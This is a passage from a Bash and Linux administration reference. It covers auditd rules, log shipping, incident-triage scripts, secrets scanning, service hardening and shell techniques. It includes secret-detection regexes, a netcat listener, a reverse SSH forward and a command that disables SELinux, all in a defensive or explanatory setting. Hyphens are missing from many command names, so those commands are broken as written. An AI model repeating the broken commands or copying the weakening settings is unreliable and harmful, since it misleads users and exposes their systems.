-a always,exit -F arch=b64 -S execve -F dir=/var/tmp -k exec_tmp
-a always,exit -F arch=b64 -S init_module -S finit_module -k module
-a always,exit -F arch=b64 -S sethostname -S setdomainname -k netcfg
-a always,exit -F arch=b64 -S chmod -S fchmod -S fchmodat -k permchange
-a always,exit -F arch=b64 -S chown -S fchown -S fchownat -k permchange
-a always,exit -F arch=b64 -S setxattr -S fsetxattr -k xattr
-a always,exit -F arch=b64 -S capset -k caps
# Load rules
augenrules --load
systemctl enable --now auditd
ausearch -k priv_esc | aureport -x -i

12f. Centralized Logging and Shipping

systemd journal remote

# Receiver
apt install systemd journal remote
systemctl enable --now systemd journal remote.socket
# Sender
systemctl enable --now systemd journal upload.service
# Configure /etc/systemd/journal upload.conf to point to receiver URL

rsyslog with RELP over TLS

# /etc/rsyslog.d/10-relp client.conf
module(load="imjournal")
module(load="omrelp")
action(type="omrelp" target="loghost.example.com" port="20514"
       tls="on" tls.caCert="/etc/ssl/certs/ca.crt")
systemctl restart rsyslog

12g. Incident Response Toolbelt

One shot triage collector

#!/usr/bin/env bash
set -euo pipefail
out="/root/triage_$(date +%F_%H%M%S)"; mkdir -p "$out"
ps auxwwf > "$out/ps.txt"
ss -tunap > "$out/net.txt"
lsmod > "$out/lsmod.txt"
iptables -S > "$out/iptables.txt" 2>/dev/null || true
nft list ruleset > "$out/nft.txt" 2>/dev/null || true
systemctl list unit files --type=service > "$out/services.txt"
systemctl list timers --all > "$out/timers.txt"
last -a | head -200 > "$out/last.txt"
getcap -r / 2>/dev/null > "$out/caps.txt" || true
find / -xdev -perm -4000 -type f 2>/dev/null > "$out/suid.txt"
tar -czf "$out.tar.gz" -C "$(dirname "$out")" "$(basename "$out")"
echo "triage saved to $out.tar.gz"

Detect new SUID/SGID in last 2 days

find / -xdev -type f \( -perm -4000 -o -perm -2000 \) -mtime -2 -printf '%TY-%Tm-%Td %TH:%TM %m %p\n' 2>/dev/null | sort

12h. Backup Verification and Restore Drills

rsync/tar verify

# Compare snapshot to live with checksums
rsync -aHAXn --checksum /data/ /backups/$(date +%F)/ | tee verify.log
# Extract test restore into temp and diff
tmpdir=$(mktemp -d); tar -xzf backup.tgz -C "$tmpdir"; diff -rq /home "$tmpdir/home"; rm -rf "$tmpdir"

borg integrity check

borg list /backup/repo
borg check --verify data /backup/repo
# Test restore specific path to tmp
borg extract /backup/repo::latest home/alice/docs -D --dry run

12i. Secrets Hygiene and Rotation

Find exposed secrets quickly-(heuristics)

# ripgrep patterns for common secrets (tune-allowlist)
rg -n --hidden -g '!.git' -e 'AKIA[0-9A-Z]{16}' -e 'SECRET(_KEY)?\s*=\s*['\''
\"][^'\''\"]{8,}' -e 'BEGIN (RSA|OPENSSH|EC) PRIVATE KEY' .

Git pre commit hook to block secrets

cat >.git/hooks/pre commit <<'EOF'
#!/usr/bin/env bash
set -euo pipefail
files=$(git diff --cached --name only)
rg -n -e 'BEGIN (RSA|OPENSSH|EC) PRIVATE KEY' $files && { echo 'Secret detected'; exit 1; } || true
EOF
chmod +x .git/hooks/pre commit

SSH key rotation helper

ssh keygen -t ed25519 -C "rotated $(date +%F)" -f ~/.ssh/id_ed25519_new
cat ~/.ssh/id_ed25519_new.pub | ssh user@host 'mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys'
# After verification, remove old key
sed -i '/old key comment/d' ~/.ssh/authorized_keys

12j. Container aware Hardening

Detect containers and restrict privileges

# Quick detection
if [ -f /.dockerenv ] || systemd detect virt -cq; then echo "container"; fi

systemd service sandboxing-(host)

# In service unit [Service] section
NoNewPrivileges=yes
ProtectSystem=strict
ProtectHome=true
PrivateTmp=true
PrivateDevices=true
ProtectKernelTunables=yes
ProtectKernelModules=yes
ProtectControlGroups=yes
CapabilityBoundingSet=
AmbientCapabilities=
LockPersonality=yes
MemoryDenyWriteExecute=yes
RestrictSUIDSGID=yes
RestrictNamespaces=yes
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX

Docker run hardened-(example)

docker run --read only --tmpfs /run --tmpfs /tmp:exec,noexec,nosuid,nodev \
  --cap drop ALL --cap add NET_BIND_SERVICE \
  --pids limit 256 --cpus=1 --memory=512m --security opt no new privileges \
  -p 127.0.0.1:8080:80 myimage:stable

13. Cross-References

14. Notes and Pitfalls

Common Mistakes

  • Unquoted variables: Always quote variables to prevent word splitting
  • Command injection: Never use unsanitized input in commands
  • Race conditions: Be careful with temporary files and parallel execution
  • Permissions: Scripts with SUID bits can be security risks

Performance Considerations

  • Use $(command) instead of backticks for command substitution
  • Avoid unnecessary subshells and pipelines
  • Use built in string manipulation instead of external commands
  • Consider using awk or sed for complex text processing

Portability Issues

  • Test scripts on different shells (bash, dash, zsh)
  • Be aware of differences between Linux, macOS, and BSD systems
  • Use #!/usr/bin/env bash for better portability
  • Avoid bashisms when writing portable scripts

Security Warnings

  • Never run untrusted scripts without review
  • Be cautious with curl | bash patterns
  • Validate all input and output
  • Use minimal privileges for each task

15. Shell Grammar, Quoting, and Globbing

Quoting Rules

  • Single quotes '...' prevent all expansions (except escaped single quotes via complex constructs)
  • Double quotes "..." allow: parameter, command, and arithmetic expansion, but prevent word splitting and globbing
  • Unquoted expansion is subject to word splitting (IFS) and globbing; avoid it for untrusted content
var="a b*c"
echo $var       # BAD: word splitting + globbing
echo "$var"     # GOOD: preserved

Escapes and ANSI-C strings

echo 
line1\nline2\t\x41' # ANSI-C quoting printf '\e[32mOK\e[0m\n' # ANSI color escape
### Globbing and Extended Globs
- Enable extended globs with: shopt -s extglob
- Common patterns:
  ? (single char), * (any), [abc], [!abc], [a z]
  extglob: @(pat|pat), !(pat), +(pat), *(pat), ?(pat)

```bash
shopt -s extglob nullglob dotglob globstar  # globstar: ** recurses
rm -f !(.keep|*.cfg)   # delete everything except .keep and *.cfg
printf '%s\n' **/*.log  # recursive glob (Bash-4+)

Brace Expansion vs Globbing vs Regex

  • Brace expansion happens before globbing and is not regex
  • [[ expr =~ regex ]] uses ERE (extended regex); quote RHS to prevent globbing
for i in {01..05}; do echo "file_$i"; done
if [[ "email@x.io" =~ ^[A-Za z0-9._%+-]+@[A-Za z0-9.-]+\.[A-Za z]{2,}$ ]]; then echo OK; fi

16. Redirection and File Descriptors Deep Dive

Basics

  • N>&M: duplicate FD N from M, e.g., 2>&1
  • N>file: redirect FD N to file (truncate)
  • N>>file: append
  • <(cmd), >(cmd): process substitution (uses pipes/FIFOs)
cmd >out.txt 2>err.txt         # separate stdout/stderr
cmd >all.txt 2>&1              # merge stderr into stdout
{ cmd1; cmd2; } >group.log 2>&1

Capture stdout and stderr separately

# stdout to out, stderr to err
mycmd 1>out.log 2>err.log
# swap stdout/stderr
exec 3>&1 4>&2
mycmd 1>&4 2>&3
exec 3>&- 4>&-

Here docs and Here strings

cat <<'EOF'
No expansions happen because of single quoted EOF marker
$HOME stays literal
EOF

cat <<< "value is: $(date)"   # here string

Tee and multi target logging

mycmd 2>&1 | tee -a run.log | grep -i error

17. Job Control and Signals

Background and Foreground

long_task &       # run in background
jobs -l           # list jobs with PIDs
fg %1             # bring job 1 to foreground
bg %1             # resume in background
wait %1           # wait for job

Signals

kill -SIGTERM $pid
trap 'echo "SIGINT received"; cleanup; exit 130' INT
trap 'echo "on exit"' EXIT

Disown and nohup

nohup myservice & disown

18. Coprocess, Subshells, and Grouping

Subshell vs Grouping

( cd /tmp && touch a )   # subshell: parent PWD unaffected
{ cd /tmp && touch b; }  # grouping in current shell

Coprocess (Bash-4+)

coproc nc -lvnp 9001
printf 'ping\n' >&"${COPROC[1]}"
read -r line <&"${COPROC[0]}"
echo "server: $line"

19. Robust CLI Parsing with getopts

usage(){ cat <<USAGE
Usage: $0 [-v] -f file [-o output]
USAGE
}

verbose=0; file=""; out=""
while getopts ":vf:o:h" opt; do
  case $opt in
    v) verbose=1;;
    f) file=$OPTARG;;
    o) out=$OPTARG;;
    h) usage; exit 0;;
    :) echo "Option -$OPTARG requires an argument" >&2; exit 2;;
    \?) echo "Unknown option -$OPTARG" >&2; usage; exit 2;;
  esac
done
shift $((OPTIND-1))
[[ -z $file ]] && { echo "-f required" >&2; exit 2; }

20. Advanced Parameter Expansion

name="Alice Cooper"
file="/var/www/html/index.php.gz"

# Substrings
echo "${name:6:6}"            # Cooper

# Remove prefixes/suffixes
echo "${file##*/}"            # index.php.gz
echo "${file%.*}"             # /var/www/html/index.php

# Replace
path="/opt/app/app.conf"
echo "${path/app/var}"        # /opt/var/app.conf-(first)
echo "${path//app/var}"       # replace all

# Case modification (Bash-4)
var="hello world"
echo "${var^^}"               # HELLO WORLD
echo "${var^}"                # Hello world

# Indirection
ref="HOME"; echo "${!ref}"   # value of $HOME

21. Arrays and Input Processing

Array Slicing and Join

arr=(alpha beta gamma delta)
echo "${arr[@]:1:2}"   # beta gamma
IFS=,; echo "${arr[*]}"; unset IFS

mapfile/readarray

mapfile -t lines < <(grep -v '^#'-config.ini)
printf 'line: %s\n' "${lines[@]}"

Safe read loops

while IFS= read -r line || [[ -n $line ]]; do
  printf '%s\n' "$line"
done < input.txt

22. History, Readline, and Prompt-(PS1)

History Expansion

echo !!          # repeat last command
echo !:0 !:1-2   # tokens from last command
fc -l -10        # last 10 commands

Readline Shortcuts

  • Ctrl a/e: move to start/end
  • Alt f/b: move word forward/back
  • Ctrl w: delete word to left
  • Ctrl u/k: kill to start/end of line
  • Ctrl y: yank (paste)

Custom PS1

# Show time, user, host, cwd, git branch
parse_git_branch(){ git rev parse --abbrev ref HEAD 2>/dev/null; }
PS1='\[\e[36m\]\t \[\e[32m\]\u@\h \[\e[34m\]\w\[\e[33m\]$(parse_git_branch)\[\e[0m\]$ '

23. Parallelism Patterns

xargs and GNU parallel

# Basic parallelism with xargs
seq 1 20 | xargs -n1 -P4 -I{} bash -c 'echo {}: $(date +%s); sleep 1'

# GNU parallel (if-available)
parallel -j 8 'curl -sS -m 5 https://{}' ::: example.com example.org

wait -n (Bash-5)

for url in {1..5}; do ( sleep $((RANDOM%5)); echo done $url ) & done
while wait -n 2>/dev/null; do echo "a job finished"; done

24. Locking and Concurrency Control

flock for mutual exclusion

lockfile="/tmp/my.lock"
{
  flock -n 9 || { echo "busy"; exit 1; }
  # critical section
  do_work
} 9>"$lockfile"

Atomic operations

# Atomic move
mv tmpfile outfile   # POSIX atomic rename within same filesystem

25. Logging, Tracing, and Debugging

PS4 with xtrace to file

export PS4='+ ${BASH_SOURCE}:${LINENO}:${FUNCNAME[0]}() '
exec 3>&2 2>trace.log
set -x
# ... script body ...
set +x
exec 2>&3 3>&-

logger to syslog

logger -t myscript "Started"

set -e pitfalls and safer patterns

  • set -e is ignored in subshells, compound commands; prefer explicit checks
  • Use pipefail and check statuses:
    set -euo pipefail
    cmd1 | cmd2 | cmd3
    status=${PIPESTATUS[*]}
    if (( ${status[0]} != 0 || ${status[1]} != 0 || ${status[2]} != 0 )); then
      echo "pipeline failed"
    fi
    

26. JSON/YAML Handling with jq/yq

# jq examples
curl -s https://api.github.com/repos/torvalds/linux | jq '.stargazers_count'

# Select objects
jq -r '.items[] | select(.arch=="amd64") | .name'

# yq-(v4) YAML -> JSON-like queries
# yq e '.spec.template.spec.containers[].image' deploy.yaml

27. Advanced curl and HTTP Testing

# TLS details
curl -vkI https://example.com

# Supply client certificate
curl --cert cert.pem --key key.pem https://mtls.example.com

# HTTP/2 and ALPN
curl --http2 -I https://example.com

# Auth and cookies
curl -c c.txt -b c.txt -u user:pass https://example.com

# Upload and JSON
curl -H 'Content-Type: application/json' -d '{"a":1}' https://api.example.com

28. Advanced SSH Usage

# ControlMaster multiplexing
Host *
  ControlMaster auto
  ControlPath ~/.ssh/cm-%r@%h:%p
  ControlPersist 5m

# ProxyJump / bastion
ssh -J user@jump host.internal

# SSH port forward
ssh -L 127.0.0.1:8080:remote:80 user@host
ssh -R 0.0.0.0:2222:localhost:22 user@host

# Execute remote scripts safely
ssh user@host 'bash -s' < script.sh

29. Filesystem Monitoring with inotify

inotifywait -m -e create,modify,delete /var/www | while read -r dir ev file; do
  printf '%s %s/%s\n' "$ev" "$dir" "$file"
done

30. Forensics Essentials

# Open files and sockets
lsof -i -n -P | grep LISTEN
lsof /path/to/file

# Auditd quickstart
auditctl -e 1
auditctl -w /etc/passwd -p wa -k passwd_watch
ausearch -k passwd_watch | aureport -f -i

31. Containers and Namespaces

# Minimal namespace isolation
unshare -Urn --mount proc bash
ip link set lo up

# Docker basic ops
docker ps -a
docker run --rm -it alpine sh

32. UX Patterns: Menus, Spinners, Progress

menu(){
  PS3='Choose: ' ; select opt in Scan Backup Quit; do
    case $REPLY in 1) echo Scan;; 2) echo Backup;; 3) break;; *) echo "Invalid";; esac
  done
}

spinner(){
  local pid=$1; local spin='|/-\'; local i=0
  while kill -0 $pid 2>/dev/null; do i=$(( (i+1)%4 )); printf "\r[%c]" "${spin:$i:1}"; sleep .1; done; echo
}

task(){ sleep 3; }
task & spinner $!

33. Scheduling: cron and systemd timers

# Cron example (edit with crontab--e)
# Run at 02:00 daily
0 2 * * * /usr/local/bin/backup.sh >>/var/log/backup.log 2>&1

# systemd timer units
# myjob.service + myjob.timer

34. Packaging and Install Scripts

prefix="/usr/local"; bindir="$prefix/bin"
install -d "$bindir"
install -m 0755 mytool "$bindir/mytool"

35. Git Automation

# Bulk update repositories
for d in ~/code/*/.git; do
  repo=${d%/.git}
  ( cd "$repo" && git pull --rebase )
done

36. Crypto with GPG and OpenSSL

# GPG encrypt/decrypt
gpg -e -r user@example.com secret.txt
gpg -d secret.txt.gpg

# OpenSSL symmetric
openssl enc -aes-256-cbc -salt -pbkdf2 -in in -out out
openssl enc -d -aes-256-cbc -pbkdf2 -in out -out in

37. Backups with rsync and tar

rsync -aHAX --delete /etc/ /backup/etc/
rsync -a --info=progress2 /data/ remote:/backup/data/

tar --listed incremental=snar.list -czf backup.tgz /home

38. System Inventory

# Debian/Ubuntu
dpkg -l | awk '/^ii/{print $2, $3}'
# RHEL/CentOS
rpm -qa --qf '%{NAME} %{VERSION}-%{RELEASE}\n'
# Services
systemctl list units --type=service --state=running

39. SELinux and AppArmor Quick Reference

# SELinux
getenforce; setenforce 0
semanage fcontext -a -t httpd_sys_content_t '/var/www(/.*)?'
restorecon -Rv /var/www

# AppArmor
aa status
aa complain /etc/apparmor.d/usr.sbin.nginx

40. Testing Bash with Bats

# test_file.bats
@test "adds numbers" {
  run bash -c 'echo $((2+2))'
  [ "$status" -eq 0 ]
  [ "$output" = "4" ]
}

41. ShellCheck: Common Issues

  • SC2086: Double quote to prevent globbing and word splitting
  • SC2155: Declare and assign separately to avoid masking return values
  • SC2164: Use 'cd --' and '|| exit'
cd -- "$dir" || exit 1

42. Tmux Essentials-(bonus)

tmux new -s work
# prefix (Ctrl-b) then: c (new window), % (vsplit), " (hsplit), n/p (next/prev)
# detach: prefix d; list sessions: tmux ls; attach: tmux a -t work

43. ANSI Colors and Styling

red='\e[31m'; green='\e[32m'; yellow='\e[33m'; nc='\e[0m'
echo -e "${green}[+] Success${nc}"

44. Portability and Bashisms

  • Use #!/usr/bin/env bash and require a minimum version if features needed
  • Prefer POSIX sh for portable scripts; avoid arrays, [[, process substitution
  • Test with dash for portability where required

45. One liners for Security Workflows

# Extract unique IPs from logs
awk '{for(i=1;i<=NF;i++) if($i~/^([0-9]{1,3}\.){3}[0-9]{1,3}$/) print $i}' *.log | sort -u

# Check TLS expiry
for h in example.com google.com; do echo -n "$h "; echo | openssl s_client -servername $h -connect $h:443 2>/dev/null | openssl x509 -noout -enddate; done

# Quick HTTP title fetch
for u in $(cat urls.txt); do echo -n "$u "; curl -m 5 -s "$u" | grep -iPo '(?<=<title>).*?(?=</title>)' ; done

# Compare directory trees
diff -rq dirA dirB | tee differences.txt

# Find large files-(>1G)
find / -xdev -type f -size +1G -printf '%s %p\n' 2>/dev/null | sort -nr | head

46. Comprehensive Cheats: Patterns Library

Robust tempdir and cleanup

tmpdir=$(mktemp -d -t app.XXXXXX) || exit 1
cleanup(){ rm -rf -- "$tmpdir"; }
trap cleanup EXIT INT TERM

Error wrapper and-die()

log(){ printf '%s %s\n' "$(date '+%F %T')" "$*" >&2; }
die(){ log "ERROR: $*"; exit 1; }

Retry with backoff

retry(){ local n=0; local max=${1:-5}; local delay=${2:-1}; shift 2; 
  until "$@"; do n=$((n+1)); [[ $n -ge $max ]] && return 1; sleep $((delay*n)); done; }
# usage: retry 5 1 curl -fS https://example.com

CSV safe reader

while IFS=, read -r a b c; do
  printf 'A=%q B=%q C=%q\n' "$a" "$b" "$c"
done < data.csv

Minimal daemon loop

while :; do
  do_task || log "task failed"
  sleep 5
done

47. Reference: shopt and set Options

# Useful shopt
shopt -s extglob nullglob dotglob globstar histappend cmdhist
# Useful set
set -o errexit -o nounset -o pipefail

48. Images and Visual Aids

Bash Redirection Diagram

Visual guide: stdin/stdout/stderr and how pipes/tee interact.

Sources

  • GNU Bash Reference Manual: https://www.gnu.org/software/bash/manual/bash.html
  • bash(1) manual (man7): https://man7.org/linux/man pages/man1/bash.1.html
  • Bash Hackers Wiki: https://wiki.bash hackers.org/
  • Advanced Bash-Scripting Guide (TLDP): https://tldp.org/LDP/abs/html/
  • ShellCheck and wiki: https://www.shellcheck.net/ | https://github.com/koalaman/shellcheck/wiki
  • GNU Coreutils manual: https://www.gnu.org/software/coreutils/manual/
  • findutils (find/xargs) manual: https://www.gnu.org/software/findutils/
  • grep manual: https://www.gnu.org/software/grep/manual/grep.html
  • sed manual: https://www.gnu.org/software/sed/manual/
  • gawk manual: https://www.gnu.org/software/gawk/manual/
  • iproute2 (ip/ss) reference: https://man7.org/linux/man pages/man8/ip.8.html | https://man7.org/linux/man pages/man8/ss.8.html
  • netcat (OpenBSD nc): https://man.openbsd.org/nc
  • curl docs: https://curl.se/docs/ | man pages: https://curl.se/docs/manpage.html
  • OpenSSH manuals: sshd_config(5), ssh_config(5), ssh keygen(1) https://man.openbsd.org/sshd_config | https://man.openbsd.org/ssh_config | https://man.openbsd.org/ssh keygen
  • OpenSSL docs: https://www.openssl.org/docs/manmaster/man1/openssl.html
  • systemd docs: systemctl(1), journald(8), unit files, timers https://www.freedesktop.org/software/systemd/man/systemctl.html https://www.freedesktop.org/software/systemd/man/systemd journald.service.html https://www.freedesktop.org/software/systemd/man/systemd.unit.html https://www.freedesktop.org/software/systemd/man/systemd.timer.html
  • iptables and nftables: iptables(8): https://man7.org/linux/man pages/man8/iptables.8.html nftables quickstart: https://wiki.nftables.org/wiki nftables/index.php/Quick_reference nftables_in_10_minutes
  • Fail2ban docs: https://fail2ban.readthedocs.io/en/latest/
  • auditd/augenrules/ausearch: https://access.redhat.com/documentation/en us/red_hat_enterprise_linux/7/html/security_guide/sec using_system_call_auditing | man pages: auditd(8), augenrules(8), ausearch(8)
  • logrotate(8): https://man7.org/linux/man pages/man8/logrotate.8.html
  • rsyslog RELP/TLS: https://www.rsyslog.com/doc/
  • rsync(1): https://download.samba.org/pub/rsync/rsync.html
  • tar(1): https://www.gnu.org/software/tar/manual/
  • borgbackup docs: https://borgbackup.readthedocs.io/en/stable/
  • crontab(5): https://man7.org/linux/man pages/man5/crontab.5.html
  • CIS Benchmarks (Linux): https://www.cisecurity.org/cis benchmarks
  • ArchWiki (systemd, SSH, journald, security hardening): https://wiki.archlinux.org/